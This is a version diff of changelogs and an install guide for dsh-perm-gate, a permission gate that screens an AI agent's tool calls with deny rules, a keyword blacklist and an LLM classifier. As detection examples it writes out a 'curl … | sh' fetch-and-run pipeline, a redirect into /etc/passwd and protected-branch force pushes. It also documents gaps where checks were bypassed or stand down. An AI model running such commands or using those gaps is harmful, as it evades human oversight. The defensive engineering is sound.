dsh-perm-gate 2.1.2 → 2.6.1

package/CHANGELOG.ja.md

@@ -5,6 +5,114 @@
 形式は [Keep a Changelog](https://keepachangelog.com/ja/1.1.0/) に従い、
 このプロジェクトは [Semantic Versioning](https://semver.org/spec/v2.0.0.html) に準拠します。
 
+## [2.4.1] - 2026-09-17
+
+### 修正
+
+- 承認履歴が、フラグ付きの呼び出しがなぜレビューされずに実行されたのかを説明する唯一のイベントについて、生の `preset-passthrough` 文字列を表示していました（ティアは `approval: ask` を宣言しているのに、セッションが `never` で上書きされ、ゲートの ask がパススルーに降格したためです）。他の判定と同じく読みやすいラベルで表示されるようになりました。
+
+## [2.6.1] - 2026-09-25
+
+### 修正
+
+- **入力欄グリフのパッチが DSH 0.1.5 で再び機能します。** `scripts/patch-permission-glyph.mjs`
+  は `["permissive",` の直後にエントリを挿入していましたが、そのキーは DSH 0.1.2 がグリフを
+  描いていた値で、0.1.5-rc.2 のバンドルにはどこにも存在しません。そのためパッチは
+  `anchor not found` で失敗し、両ティアはテキストのみのままでした。取得元はティアごとに
+  `GLYPH_TARGETS` で宣言し、アンカーは**解決**します —— まず `["<key>",`、次にバンドルが使う
+  定数別名（`danger-full-access` は `[FULL_ACCESS,`）。ホストが描かないキーは、Map が実際に
+  持つキーと一緒に報告されます。
+- **UI を提供していない DSH インストールにパッチを当てなくなりました。** 候補は profile
+  スコープを先、CLI インストールを次に並べ、同じバンドルを持つ**他の**インストールは黙って
+  見送らず出力に列挙します。このプロジェクトのホストで実測：グローバル CLI インストールが
+  ランチャー管理のランタイムを隠していたため、パッチは成功と報告しつつピッカーは
+  アイコンなしのままでした。
+
+### 変更
+
+- **各ティアは、共有するファイルサンドボックスのグリフを付けます（共通の盾＋目ではなく）。**
+  「自动审查」は `workspace-write` のグリフを、「自动审查（高权限）」は `danger-full-access` の
+  グリフをコピーするため、アイコンはそのティアが実際に与えるアクセスと一致します。同一アイコンの
+  旧挙動は、`permissive` のグリフを持っていた 0.1.2 の Map に由来します。
+- **2 つのグリフは両方適用するか、両方とも適用しません。** 解決できない取得元キーは何も書かない
+  拒否であり、部分的にパッチされたバンドルにはなりません。
+
+## [2.4.0] - 2026-09-17
+
+### 変更
+
+- **P3 LLM 分類器はエスカレート専用になり、拒否できなくなりました。** ハードカテゴリ
+  (`deletion` / `credential` / `remote` / `system` / `bulk`) の `risky` 判定はこれまでパネルなしで
+  **自動拒否**していましたが、現在は**人間への確認（ask）を維持**します。拒否は決定論的レイヤー
+  （P0 ハード拒否、拒否キーワードのブラックリスト、明示的な `deny:` ルール）だけに属します。
+  確率的な判定が、異議を唱えられないブロックを下してはならないからです。実測: グレーダーは無害な
+  `git commit -F …` を **`remote`** と判定し、自動拒否は承認するパネルも再試行する grant も残しませんでした
+  （たまたま `safe` と判定された手動リトライだけが通りました）。これは「高リスク操作は**決定論的に**
+  遮断し、LLM の判断には委ねない」というプロジェクト自身のルールとも整合します。
+
+### 追加
+
+- ハードリスクカテゴリは `neutral` との重要な違いを一つだけ保ちます: **決して学習されません**。
+  人間の承認を繰り返しても `deletion`/`credential`/`remote`/`system`/`bulk` の判定が自動許可に
+  沈殿することはありません（従来は自動拒否の副作用としてのみ成立していましたが、現在は明示的な性質です）。
+
+### 動作上の注意
+
+- `approval: never` では、ゲートが配信できない ask は従来どおりパススルーに降格するため、分類器が
+  フラグを立てた呼び出しは**実行されます**（以前は自動拒否でした）。これは「決定論的に危険なものだけを
+  拒否し、それ以外は交渉する」の直接の帰結です —— 交渉には人間が必要で、`never` は人間がいないことを
+  意味します。フラグを実際に受け取りたい場合は `approval` が `ask` のティアで運用してください。
+
+## [2.3.0] - 2026-09-17
+
+### 追加
+
+- **ゲートの停止はもはや沈黙しません。** セッションの権限プリセットが `gatePresets` の外にあるとき、
+  ゲートは停止して何も記録しませんでした —— そのためツール呼び出しは、ゲートが検査して許可した
+  呼び出しと見分けがつきませんでした。現在は (session, preset) の遷移ごとに **1 件だけ**
+  `stand-down` 通知を記録し（呼び出しごとではありません）、プリセット・スコープ・P0 ハード拒否が
+  無効である事実を明示します。ブラウザは入力欄の上に常駐の **GATE OFF** ストリップとして表示し、
+  承認履歴には `ゲート停止` タグが出ます。
+- 自动审查 設定カードがゲート自身のプリセットスコープ（`gatePresets`、既定は
+  `permissive` / `permissive-full`）とその外側で何が起きるかを明示するため、スコープはティアを
+  設定する場所で確認できます。
+
+### 変更
+
+- **P0 の文書上の位置づけはグローバルではなくスコープ付きです。** P0 ハード拒否は*ゲートのプリセット
+  スコープ内*で単調かつ交渉不能です。プリセットをまたぐとゲートは P0 を含めて完全に停止します ——
+  選択されたティア自身のポリシーがそのセッションを所有するためです。コードは常にこう動作していましたが、
+  `AGENTS.md` と 4 つの README は逆を主張しており、`danger-full-access` が「P0 は依然適用される」と
+  読めてしまいました。`gatePresets: ['*']` を設定すると P0 は再びグローバルになります。
+
+### 修正
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets` を `config.ts`（schemastery を import しています）から
+  依存のない `preset.ts` へ移し、ブラウザ側が node 専用依存をクライアントバンドルに引き込まずに
+  スコープを描画できるようにしました。`config.ts` は両方を再エクスポートするため、既存の import は
+  変更ありません。
+
+## [2.2.0] - 2026-09-17
+
+### 修正
+
+- **P0 ハード拒否が、4 つのシェルツール以外をすべて素通りさせていました。** `hardDenyReason` はシェル検査をローカルの正規表現 `/^(?:bash|pwsh|sh|cmd)$/` で門番していましたが、これは `shell` / `terminal` / `powershell` に**一致しません**。`shell` は DSH の主要シェルツールであるため、P0 のシェル検査（保護パスへのリダイレクト）は**最も一般的な呼び出し形に対して無効**でした。実測、同一コマンド `echo x > /etc/passwd`：`bash` 経由は遮断、`shell` 経由は**通過**。`engine.ts` は `evaluate.ts` から `SHELL_TOOLS` を取り込むよう変更しました——同じ事実の複製が 3 か所にあり、完全だったのは 1 つだけでした。
+- **`git push --delete` が通常の push として解析されていました。** `hasDelete` は `analyzeSubcommand` で計算されながら `branch` ケースでしか読まれず、`git push --delete origin main` は通常 push 分岐（`destructiveness: 4`）に落ちていました。`DESTRUCTIVENESS_MAP` の `'push-delete': 5` は死んだデータでした。
+- **保護ブランチ判定が、スラッシュを含む名前に誤反応していました。** 述語は最後の `/` より前を落としていたため、`backup/main` や `feat/release` が保護扱いになっていました。既知の ref 接頭辞（`refs/heads/`、`refs/tags/`、`refs/remotes/<remote>/`）のみを剥がすよう変更しました。方向が重要です——この述語は**取り消し不能な** P0 に供給され、見逃しにはキーワード／ルール／LLM 層という受け皿がありますが、誤検出は正当なワークフローを出口なく塞いでしまいます。
+
+### 追加
+
+- **保護ブランチに対するリモート履歴改変の P0 ハード拒否。** `main` / `master` / `production` / `release` / `stable` を強制上書きまたは削除する `git push` を、LLM 呼び出しより前に決定的に拒否します。従来の保護は、フラットでブランチを見ず、名前空間で上書き可能なキーワード `'push --force'` でした。これはその下に敷く交渉不能な床です。
+  - **「エスカレーションのみ」は慣習ではなく構造です**: ヘルパーは `string | undefined` を返し、呼び出し側はそれを deny / 未決定として読みます。allow を表現する手段がないため、P0 に配線してもゲートが許可する範囲を広げることはできません。
+  - 意図的に**対象外**（引き続きキーワード／ルール／LLM 層が担当）: 非保護ブランチへの force push、ブランチ名を書かない `git push --force`、通常の push。
+  - コマンドパーサ（`command-dispatcher` / `command-semantics` / `parsers/git` / `parsers/shell-cmds`）の初の本番利用です。これまで自身のテストファイルからしか参照されていませんでした。
+
+### テスト
+
+- 新規 `test/git-protected-push.spec.ts`（13 件）。
+- **反証**: 3 つの修正をそれぞれ戻すと、それを守るケースだけが赤くなります（計 7 件）。意図的に許可するケースは緑のままです。
+- 全量 **40 ファイル / 459 件**、`typecheck` クリーン。
+
 ## [2.0.0] - 2026-09-11
 
 ### 修正

package/CHANGELOG.ko.md

@@ -5,6 +5,110 @@
 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)을 따르며,
 이 프로젝트는 [Semantic Versioning](https://semver.org/spec/v2.0.0.html)을 준수합니다.
 
+## [2.6.1] - 2026-09-25
+
+### 수정됨
+
+- **입력창 글리프 패치가 DSH 0.1.5에서 다시 동작합니다.** `scripts/patch-permission-glyph.mjs`는
+  `["permissive",` 뒤에 항목을 끼워 넣었지만, 그 키는 DSH 0.1.2가 글리프를 그리던 값이고
+  0.1.5-rc.2 번들에는 어디에도 없습니다. 그래서 패치는 `anchor not found`로 실패했고 두 티어는
+  텍스트만 표시했습니다. 이제 원본은 티어별로 `GLYPH_TARGETS`에 선언하고, 앵커는 **해석**합니다
+  —— 먼저 `["<key>",`, 다음으로 번들이 쓰는 상수 별칭(`danger-full-access`는 `[FULL_ACCESS,`).
+  호스트가 그리지 않는 키는 Map이 실제로 가진 키와 함께 보고됩니다.
+- **UI를 제공하지 않는 DSH 설치에는 더 이상 패치하지 않습니다.** 후보는 profile 스코프를
+  먼저, CLI 설치를 다음으로 정렬하고, 같은 번들을 가진 **다른** 설치는 조용히 넘기지 않고
+  출력에 나열합니다. 이 프로젝트의 호스트에서 실측: 전역 CLI 설치가 런처가 관리하는
+  런타임을 가려서, 패치는 성공을 보고했지만 선택기는 아이콘 없이 남아 있었습니다.
+
+### 변경됨
+
+- **각 티어는 공유하는 파일 샌드박스의 글리프를 답니다(공통 방패+눈이 아니라).** 「自动审查」는
+  `workspace-write` 글리프를, 「自动审查（高权限）」는 `danger-full-access` 글리프를 복사하므로
+  아이콘이 그 티어가 실제로 부여하는 접근 권한과 일치합니다. 동일 아이콘 쌍은 `permissive`
+  글리프를 갖고 있던 0.1.2의 Map에서 온 동작입니다.
+- **두 글리프는 모두 적용되거나 모두 적용되지 않습니다.** 해석할 수 없는 원본 키는 아무것도 쓰지
+  않는 거부이며, 일부만 패치된 번들이 되지 않습니다.
+
+## [2.4.1] - 2026-09-17
+
+### 수정됨
+
+- 승인 이력이, 플래그된 호출이 왜 검토 없이 실행되었는지 설명하는 유일한 이벤트에 대해 원시 `preset-passthrough` 문자열을 표시했습니다(티어는 `approval: ask`를 선언했지만 세션이 `never`로 재정의되어 게이트의 ask가 패스스루로 강등된 경우입니다). 이제 다른 판정과 마찬가지로 읽기 쉬운 라벨로 표시됩니다.
+
+## [2.4.0] - 2026-09-17
+
+### 변경됨
+
+- **P3 LLM 분류기는 에스컬레이션 전용이 되어 더 이상 거부할 수 없습니다.** 하드 카테고리
+  (`deletion` / `credential` / `remote` / `system` / `bulk`)의 `risky` 판정은 이전에는 패널 없이
+  **자동 거부**했지만, 이제는 **사람 확인(ask)을 유지**합니다. 거부는 결정론적 계층(P0 하드 거부,
+  거부 키워드 블랙리스트, 명시적 `deny:` 규칙)에만 속합니다. 확률적 판정이 이의를 제기할 수 없는
+  차단을 내려서는 안 되기 때문입니다. 실측: 그레이더가 무해한 `git commit -F …`를 **`remote`**로
+  판정했고, 자동 거부는 승인할 패널도 재시도할 grant도 남기지 않았습니다(우연히 `safe`로 판정된
+  수동 재시도만 통과했습니다). 이는 "고위험 작업은 **결정론적으로** 차단하고 LLM 판단에 맡기지
+  않는다"는 프로젝트 자체 규칙과도 일치합니다.
+
+### 추가됨
+
+- 하드 위험 카테고리는 `neutral`과의 중요한 차이를 하나만 유지합니다: **결코 학습되지 않습니다**.
+  사람의 승인을 반복해도 `deletion`/`credential`/`remote`/`system`/`bulk` 판정이 자동 허용으로
+  침전되지 않습니다(이전에는 자동 거부의 부수 효과로만 성립했지만, 이제는 명시적 속성입니다).
+
+### 동작 주의
+
+- `approval: never`에서는 게이트가 전달할 수 없는 ask가 여전히 패스스루로 강등되므로, 분류기가
+  플래그한 호출은 이제 **실행됩니다**(이전에는 자동 거부였습니다). 이는 "결정론적으로 위험한 것만
+  거부하고 나머지는 협상한다"의 직접적 귀결입니다 —— 협상에는 사람이 필요하고, `never`는 사람이
+  없다는 뜻입니다. 플래그를 실제로 받으려면 `approval`이 `ask`인 티어에서 운용하십시오.
+
+## [2.3.0] - 2026-09-17
+
+### 추가됨
+
+- **게이트 정지는 더 이상 침묵하지 않습니다.** 세션 권한 프리셋이 `gatePresets` 밖에 있을 때 게이트는
+  정지하고 아무것도 기록하지 않았습니다 —— 그래서 그 도구 호출은 게이트가 검사하고 허용한 호출과
+  구별되지 않았습니다. 이제 (session, preset) 전환마다 **1건만** `stand-down` 알림을 기록하고
+  (호출마다가 아닙니다), 프리셋·범위·P0 하드 거부가 비활성이라는 사실을 명시합니다. 브라우저는
+  입력창 위에 상시 **GATE OFF** 표시줄로 렌더링하고, 승인 이력에는 `게이트 정지` 태그가 표시됩니다.
+- 自动审查 설정 카드가 게이트 자체의 프리셋 범위(`gatePresets`, 기본값
+  `permissive` / `permissive-full`)와 그 밖에서 벌어지는 일을 명시하므로, 범위를 티어를 설정하는
+  곳에서 확인할 수 있습니다.
+
+### 변경됨
+
+- **P0의 문서상 위치는 전역이 아니라 범위 한정입니다.** P0 하드 거부는 *게이트의 프리셋 범위 안에서*
+  단조롭고 협상 불가능합니다. 프리셋을 넘어가면 게이트는 P0를 포함해 완전히 정지합니다 —— 선택된
+  티어 자체의 정책이 그 세션을 소유하기 때문입니다. 코드는 항상 이렇게 동작했지만 `AGENTS.md`와
+  4개 README는 반대로 주장해, `danger-full-access`가 "P0는 여전히 적용된다"로 읽혔습니다.
+  `gatePresets: ['*']`로 설정하면 P0는 다시 전역이 됩니다.
+
+### 수정됨
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets`를 `config.ts`(schemastery를 import합니다)에서
+  의존성 없는 `preset.ts`로 옮겨, 브라우저 쪽이 node 전용 의존성을 클라이언트 번들로 끌어오지 않고
+  범위를 렌더링할 수 있게 했습니다. `config.ts`는 둘 다 재수출하므로 기존 import는 변경이 없습니다.
+
+## [2.2.0] - 2026-09-17
+
+### 수정
+
+- **P0 하드 거부가 4개의 셸 도구를 제외한 나머지를 모두 통과시키고 있었습니다.** `hardDenyReason`은 셸 검사를 로컬 정규식 `/^(?:bash|pwsh|sh|cmd)$/`로 막고 있었는데, 이는 `shell` / `terminal` / `powershell`에 **일치하지 않습니다**. `shell`은 DSH의 주 셸 도구이므로, P0의 셸 검사(보호 경로로의 리다이렉트)는 **가장 흔한 호출 형태에 대해 무력**했습니다. 실측, 동일 명령 `echo x > /etc/passwd`: `bash` 경유는 차단, `shell` 경유는 **통과**. `engine.ts`가 이제 `evaluate.ts`에서 `SHELL_TOOLS`를 가져옵니다——같은 사실의 사본이 세 곳에 있었고, 완전한 것은 하나뿐이었습니다.
+- **`git push --delete`가 일반 push로 파싱되고 있었습니다.** `hasDelete`는 `analyzeSubcommand`에서 계산되지만 `branch` 케이스에서만 읽혔고, 그 결과 `git push --delete origin main`은 일반 push 분기(`destructiveness: 4`)로 떨어졌습니다. `DESTRUCTIVENESS_MAP`의 `'push-delete': 5`는 죽은 데이터였습니다.
+- **보호 브랜치 판정이 슬래시를 포함한 이름에 오작동하고 있었습니다.** 술어가 마지막 `/` 앞부분을 잘라내어 `backup/main`과 `feat/release`가 보호 대상으로 읽혔습니다. 이제 알려진 ref 접두사(`refs/heads/`, `refs/tags/`, `refs/remotes/<remote>/`)만 제거합니다. 방향이 중요합니다——이 술어는 **되돌릴 수 없는** P0에 공급되며, 놓침에는 키워드/규칙/LLM 계층이라는 안전망이 있지만 오탐은 정당한 워크플로를 출구 없이 막습니다.
+
+### 추가
+
+- **보호 브랜치에 대한 원격 이력 재작성의 P0 하드 거부.** `main` / `master` / `production` / `release` / `stable`을 강제 덮어쓰기하거나 삭제하는 `git push`를 LLM 호출 이전에 결정론적으로 거부합니다. 기존 보호는 평면적이고 브랜치를 보지 않으며 네임스페이스로 덮어쓸 수 있는 키워드 `'push --force'`였습니다. 이것은 그 아래에 깔리는 협상 불가능한 바닥입니다.
+  - **"에스컬레이션 전용"은 관례가 아니라 구조입니다**: 헬퍼는 `string | undefined`를 반환하고 호출자는 이를 deny / 미결로 읽습니다. allow를 표현할 수단이 없으므로 P0에 배선해도 게이트가 허용하는 범위를 넓힐 수 없습니다.
+  - 의도적으로 **대상에서 제외**(키워드/규칙/LLM 계층이 계속 담당): 비보호 브랜치로의 force push, 브랜치명을 쓰지 않은 `git push --force`, 일반 push.
+  - 커맨드 파서(`command-dispatcher` / `command-semantics` / `parsers/git` / `parsers/shell-cmds`)의 첫 프로덕션 사용입니다. 지금까지는 자체 테스트 파일에서만 참조되고 있었습니다.
+
+### 테스트
+
+- 신규 `test/git-protected-push.spec.ts`(13건).
+- **반증**: 세 수정을 각각 되돌리면 그것을 지키는 케이스만 빨개집니다(총 7건). 의도적으로 허용하는 케이스는 초록으로 남습니다.
+- 전체 **40 파일 / 459건**, `typecheck` 클린.
+
 ## [2.0.0] - 2026-09-11
 
 ### 수정

package/CHANGELOG.md

@@ -5,6 +5,242 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [2.6.1] - 2026-09-25
+
+### Fixed
+
+- **The composer glyph patch works on DSH 0.1.5 again.** `scripts/patch-permission-glyph.mjs`
+  spliced its entry after `["permissive",` — a key DSH 0.1.2 rendered a glyph for and 0.1.5-rc.2
+  no longer contains anywhere in the bundle — so the patch died with `anchor not found` and both
+  plugin tiers stayed text-only. The sources are now declared per tier in `GLYPH_TARGETS` and each
+  anchor is **resolved**: `["<key>",` first, then the constant alias the bundle uses instead
+  (`danger-full-access` is keyed `[FULL_ACCESS,`). A source key this host does not render is
+  reported together with the keys the map does carry.
+- **The probe no longer patches a DSH install that is not serving the UI.** Candidate bundles are
+  ordered profile scope first, CLI install second, and any *other* install carrying the same
+  bundle is listed in the output instead of being silently passed over. Measured on this
+  project's own host: a global CLI install shadowed the launcher-managed runtime, so the patch
+  reported success while the picker stayed icon-free.
+
+### Changed
+
+- **Each tier wears the glyph of the file sandbox it shares, not one shared shield+eye.** 自动审查
+  copies the `workspace-write` glyph and 自动审查（高权限） the `danger-full-access` one, so the icon
+  matches the access the tier actually grants. The old identical-icon pair came from 0.1.2, whose
+  map still keyed a `permissive` glyph that 0.1.5 dropped.
+- **Both glyphs are applied, or neither.** A source key the script cannot resolve is a refusal that
+  writes nothing, rather than a half-patched bundle.
+
+## [2.6.0] - 2026-09-17
+
+### Added
+
+- **Rule test (dry-run) in the settings card.** A new panel evaluates one would-be tool call
+  against the ruleset the gate currently has loaded and shows the verdict, the matched rule (index
+  and action), the dimensions that rule constrains, and the reason. Written for the question the
+  YAML cannot answer by inspection: *what will this actually do?* — `args` is an OR over tokens, an
+  empty dimension constrains nothing, and `command` matches the decomposed command **word** only, so
+  a plausible-looking rule can be dead on arrival.
+
+  The report keeps two answers apart on purpose. **`verdict`** is the policy result of the whole
+  chain (P0 hard-deny → deny-keyword → P1 grant → P2 rules → P4 ask → permissive).
+  **`ruleLayer`** is what the `permissions` chain decides on its own, and only that layer can name a
+  rule index: a P0 hard-deny or a preset deny-keyword fires *before* it and leaves no rule behind, so
+  the panel says so instead of attributing an unrelated rule. `matchedDimensions` likewise lists the
+  dimensions the matched rule *constrains* rather than the one that "caused" the match — dimensions
+  are ANDed, so a single cause cannot honestly be named. A `ruleCount` of 0 is surfaced as "0 rules
+  loaded, check the rulesFile path" rather than as "nothing matched".
+
+- **`POST /api/dsh-perm-gate/dry-run`** — the panel's endpoint. **Read-only by construction**: it
+  has no write form, unknown body keys are dropped rather than forwarded, and it never touches
+  rules, grants, learning state or the settings namespace. Testing a rule must not be able to change
+  it. It evaluates against the **live** runtime rather than a fresh one, so the panel tests the rules
+  in force — a fresh runtime would re-resolve the chain from a different root and could silently
+  answer about a different file.
+
+- **`src/dry-run.ts`** — `runDryRun` / `createDryRunRuntime`, the shared evaluator for the CLI and
+  the route, plus `PermGateRuntime.explainRules` (read-only rule-layer report) and
+  `PermGateRuntime.explainCall` (pure policy evaluation). `src/cli.ts` is now a thin wrapper over it;
+  its output is unchanged across nine replayed invocations, verified byte for byte (including the
+  `--list`, no-tool, bad-JSON and write-path cases).
+
+### Fixed
+
+- **The rule-test panel reported `allow` for calls the rules send to a human.** The first version
+  evaluated through the host-facing path, which applies the session layers — the preset stand-down
+  and the `approval: never` ask degradation. A session-less dry-run has no session, so the policy
+  reader answered "never", every `ask` degraded to a passthrough, and the panel showed **allow** for
+  exactly the rules someone opens it to review. Measured on the live host: `shell ls -la` showed
+  `allow` while the rule layer on the same card said `ask`.
+
+  `runDryRun` now reports the **pure policy** verdict from `explainCall`: the same
+  P0 → deny-keyword → P1 → P2 → P4 chain with the session-state layers excluded rather than guessed,
+  and with `reason` never collapsed to a bare `(default/passthrough)`. The host-facing view remains
+  available under `input.hostView`; the CLI asks for it, so its historic output stays byte for byte
+  identical (re-verified: 9/9 cases, SHA256 per case).
+
+- **The "read-only" route was not read-only.** It ran the host-facing decision path against the live
+  runtime, which appends audit entries and records decision events — opening the rule-test panel
+  wrote to the live decision feed. The pure path appends nothing, and `test/dry-run.spec.ts` now
+  asserts that a call the host path *would* record leaves the audit mirror at zero.
+
+## [2.5.0] - 2026-09-17
+
+### Added
+
+- **`branch` rule dimension** — git branch / remote / protected-branch matching, so a rule can
+  finally say "no push to a protected branch" without catching unrelated commands. The decisive
+  case is the one `args` can never express: `git push --force origin main` (dangerous) and
+  `git checkout --force main` (routine) carry the *same tokens*, and only the branch dimension
+  tells them apart. Sub-fields: `target` (branch-name glob, `*` crosses `/`), `remote`
+  (remote-name glob) and `shared` (require a protected branch). Candidates come from the shared
+  command dispatcher, so `refspec` forms (`HEAD:main`) are already split and a remote name is
+  never mistaken for a branch name. Documented in `docs/rules-format.md` §4.11.
+
+### Fixed
+
+- **The multi-file rule chain silently emptied every match dimension.** `resolveRuleChain` merged
+  entries by hand with `tools: []`, `command: []`, `args: []` and `paths: []`. An empty dimension
+  means "no constraint", so EVERY merged entry matched EVERY call: the first `deny` entry denied
+  everything in its partition, and the first `allow` entry allowed everything before the `ask`
+  partition was ever consulted. The merge now goes through the same `compileRuleEntry` the
+  single-file path uses.
+
+  *Reach:* the chain resolver is reached **only** under `searchUp: true` (product default `false`,
+  and unset in a stock profile), so the default single-file path — `compileDocument` — was never
+  affected. That is also why the existing suite stayed green: no test drove a rules *file* through
+  the chain. `test/rule-chain.spec.ts` now does. A separate, still-open defect on the same
+  opt-in path is recorded in the plan: `findChainEntries` joins the configured `rulesFile` onto
+  each directory, so the absolute path `resolveRulesFile` always produces matches nothing and the
+  chain yields an empty ruleset without an error.
+
+- **`argv.pipeline` could not see its own subject.** The pipeline match string was built from
+  `SimpleCommand.command`, which is only the command *word* — `curl https://x.sh | sh` collapsed
+  to `curl|sh`, so the documented `curl|sh` pattern matched the harmless adjacent form while the
+  genuinely dangerous one with arguments did not match at all. The match string is now each
+  simple command's full argv (joined by `|`), and the docs state that `|` in a pattern is a
+  literal, so covering arguments requires `curl*|sh`.
+
+- Nine pre-existing `eslint` errors (unused imports/constants and one `prefer-const` in
+  `src/parsers/` and `test/command-parsers.spec.ts`) — `npm run lint` is green again.
+
+## [2.4.1] - 2026-09-17
+
+### Fixed
+
+- The approvals history showed the raw `preset-passthrough` string for the one event that
+  explains *why* a flagged call ran unreviewed: the tier declares `approval: ask`, the session was
+  overridden to `never`, and the gate's ask therefore degraded to a passthrough. It now renders as
+  a readable label like every other verdict.
+
+## [2.4.0] - 2026-09-17
+
+### Changed
+
+- **The P3 LLM classifier is escalate-only — it can no longer deny.** A `risky` verdict with a
+  hard category (`deletion` / `credential` / `remote` / `system` / `bulk`) used to **auto-deny**
+  with no panel; it now **keeps the human ask**. Denying is reserved for the deterministic layers
+  alone — P0 hard-deny, the deny-keyword blacklist, explicit `deny:` rules — because a
+  probabilistic verdict must not be able to hand down an unappealable block. Measured live: the
+  grader called a benign `git commit -F …` **`remote`** and the auto-deny left no panel to approve
+  and no grant to retry with; only a manual retry (which happened to grade `safe`) got past it.
+  This also aligns the code with the project's own rule that high-risk operations are intercepted
+  **deterministically, never on the LLM's judgement**.
+
+### Added
+
+- Hard risk categories keep one meaningful distinction from `neutral`: they are **never
+  learnable**. Repeated human approvals cannot sediment a `deletion`/`credential`/`remote`/
+  `system`/`bulk` verdict into an auto-allow (previously this was true only as a side effect of
+  the auto-deny; it is now an explicit property).
+
+### Behaviour notes
+
+- Under `approval: never` an ask the gate cannot deliver still degrades to passthrough, so a
+  classifier-flagged call now **runs** where it used to be auto-denied. That is the direct
+  consequence of "deny only what is deterministically dangerous, negotiate everything else": a
+  negotiation needs a human, and `never` means there is none. Run the gate in a tier whose
+  `approval` is `ask` for the flags to reach you.
+
+## [2.3.0] - 2026-09-17
+
+### Added
+
+- **A stand-down is no longer silent.** When the session's permission preset is outside
+  `gatePresets`, the gate used to stand down and record nothing — so the tool call looked
+  exactly like one the gate had inspected and allowed. It now records **one** `stand-down`
+  notice per (session, preset) transition (never per call), naming the preset, the scope and
+  the fact that P0 hard-deny is inactive. The browser renders it as a sticky **GATE OFF**
+  strip above the input, and the approvals history shows a `Gate off` tag.
+- The 自动审查 settings card states the gate's own preset scope (`gatePresets`, default
+  `permissive` / `permissive-full`) and what happens outside it, so the scope is visible
+  where the tier is configured.
+
+### Changed
+
+- **P0's documented positioning is scoped, not global.** P0 hard-deny is monotonic and
+  non-negotiable *within the gate's preset scope*; across presets the gate stands down
+  entirely — P0 included — because the selected tier's own policy owns that session. The
+  code always behaved this way; `AGENTS.md` and the four READMEs claimed otherwise, which
+  made `danger-full-access` read as "P0 still applies". Set `gatePresets: ['*']` to make P0
+  global again.
+
+### Fixed
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets` moved from `config.ts` (which imports
+  schemastery) into the dependency-free `preset.ts`, so the browser half can render the scope
+  without pulling a node-only dependency into the client bundle. `config.ts` re-exports both,
+  so existing imports are unchanged.
+
+## [2.2.0] - 2026-09-17
+
+### Fixed
+
+- **P0 hard-deny skipped every shell tool but four.** `hardDenyReason` gated its shell
+  inspection on a locally defined regex, `/^(?:bash|pwsh|sh|cmd)$/`, which does **not**
+  match `shell`, `terminal` or `powershell`. `shell` is DSH's primary shell tool, so the
+  whole P0 shell check — the protected-path redirect guard — was **inert for the most
+  common call shape**. Measured, same command `echo x > /etc/passwd`: blocked via `bash`,
+  **allowed** via `shell`. `engine.ts` now imports `SHELL_TOOLS` from `evaluate.ts`; the
+  gate held three copies of that one fact and only one of them was complete.
+- **`git push --delete` was parsed as an ordinary push.** `hasDelete` was computed in
+  `analyzeSubcommand` but only ever read in the `branch` case, so `git push --delete
+  origin main` fell through to the plain-push branch (`destructiveness: 4`) and the
+  `DESTRUCTIVENESS_MAP` entry `'push-delete': 5` was dead data.
+- **Protected-branch detection mis-fired on any name containing a slash.** The predicate
+  stripped everything before the last `/`, so `backup/main` and `feat/release` were read
+  as protected. It now strips only known ref prefixes (`refs/heads/`, `refs/tags/`,
+  `refs/remotes/<remote>/`). The direction matters: this predicate feeds an **unremovable**
+  P0, where a miss still has the keyword / rule / LLM layers behind it, while a false
+  positive blocks a legitimate workflow with no recourse.
+
+### Added
+
+- **P0 hard-deny for remote-history rewrite on a protected branch.** A `git push` that
+  force-overwrites or deletes `main` / `master` / `production` / `release` / `stable` is
+  rejected deterministically, before any LLM call. The pre-existing protection was the
+  flat, branch-blind, namespace-overridable keyword `'push --force'`; this is the
+  non-negotiable floor beneath it.
+  - **Escalate-only by construction, not by convention**: the helper returns
+    `string | undefined`, which the caller reads as deny / undecided. It has no way to
+    express allow, so wiring it into P0 cannot widen what the gate permits.
+  - Deliberately **not** covered (still left to the keyword / rule / LLM layers):
+    force-push to a non-protected branch, `git push --force` with no branch named, and
+    ordinary pushes.
+  - First production use of the command parser (`command-dispatcher`, `command-semantics`,
+    `parsers/git`, `parsers/shell-cmds`), which until now was referenced only by its own
+    test file.
+
+### Tests
+
+- New suite `test/git-protected-push.spec.ts` (13 cases): parser variants, the
+  protected-branch predicate in both directions, full `SHELL_TOOLS` coverage, the four
+  deliberately-allowed shapes, and compound-command segmentation
+  (`git status && git push --force origin main`).
+- **Falsified**: reverting each of the three fixes turns exactly the cases guarding it red
+  (7 failures in total), while the deliberate-allow cases stay green.
+- Full suite **40 files / 459 cases**; `typecheck` clean.
+
 ## [2.1.2] - 2026-09-15
 
 ### Added

package/INSTALL.ja.md

@@ -12,7 +12,7 @@
 - [日本語 changelog](./CHANGELOG.ja.md)
 - [한국어 changelog](./CHANGELOG.ko.md)
 
-`dsh-perm-gate` バージョン **2.1.2**。判定チェーン、ルールファイル形式、自动审查
+`dsh-perm-gate` バージョン **2.6.1**。判定チェーン、ルールファイル形式、自动审查
 ティアについては [日本語 README](./README.ja.md) を参照してください。
 
 ## 必要条件
@@ -23,19 +23,20 @@
 - インストール先の profile。ブラウザ側は `web` profile 向けにのみビルドされます
   （`package.json` の `dsh.client.platform = "web"`）。
 
-## DSH のバージョンに合う tag を選ぶ
+## DSH のバージョンに合うラインを選ぶ
 
-単一ビルドが DSH 両ラインをカバーするため、どちらの tag を選んでも動作するコードが
-インストールされます —— tag を残しておくのは、あなたがピン留めするバージョンが
-各ラインで意味を持つようにするためです。
+2 つの長期ブランチが 2 つの DSH ラインを担当します：`main`（2.x）と
+`sync/0.1.5-from-main`（3.x、DSH 0.1.5 のパッケージング変体 —— `compat/0.1.5` は
+同じコードツリーを指します）。
 
 | DSH のバージョン | インストール方法 |
 |-----------------|-----------------|
-| `0.1.2-alpha.1` 以上（`0.1.5-rc.2` を含む） | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`） |
+| `0.1.2-alpha.1` – `0.1.5-rc.0` | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`、2.x ライン） |
